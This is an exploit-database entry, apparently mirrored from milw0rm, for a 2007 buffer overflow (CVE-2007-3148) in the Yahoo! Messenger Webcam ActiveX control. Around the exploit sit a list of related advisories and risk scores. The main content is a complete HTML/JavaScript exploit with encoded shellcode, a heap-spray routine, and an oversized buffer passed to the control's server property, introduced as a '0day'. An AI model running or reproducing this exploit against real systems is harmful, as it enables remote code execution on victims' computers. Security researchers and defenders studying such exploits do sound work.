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Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow (2)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | Yahoo! Messenger Webcam ActiveX Multiple Overflows | 11 Jun 200700:00 | – | nessus |
| Yahoo! Messenger Webcam ActiveX Buffer Overflows | 11 Jun 200700:00 | – | nessus |
 | CVE-2007-3148 | 9 Sep 202521:02 | – | circl |
 | Preemptive Protection against Yahoo! Messenger Webcam ActiveX Control Buffer Overflow Vulnerability | 12 Jun 200700:00 | – | checkpoint_advisories |
| Yahoo! Messenger Webcam ActiveX Control Stack Buffer Overflow (CVE-2007-3147; CVE-2007-3148) | 12 Apr 201000:00 | – | checkpoint_advisories |
 | CVE-2007-3148 | 11 Jun 200718:00 | – | cve |
 | CVE-2007-3148 | 11 Jun 200718:00 | – | cvelist |
 | Yahoo! Messenger Webcam 8.1 - 'Ywcvwr.dll' Download / Execute | 8 Jun 200700:00 | – | exploitdb |
 | CVE-2007-3148 | 11 Jun 200718:30 | – | nvd |
 | Buffer overflow | 11 Jun 200718:30 | – | prion |
10
This affects the viewer ywcvwr.dll with yahoo messenger
latest version tested.
Fixed bug in last post
(x=0;xi<800;x++) should be (x=0; x<800; x++)
Here is your 2nd 0day!!!
link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856
<html>
<object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object>
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<800; x++) memory[x] = block + shellcode;
var buffer = '\x0a';
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a';
target.server = buffer;
target.receive();
</script>
</html>
# milw0rm.com [2007-06-07]Data
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11 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.12339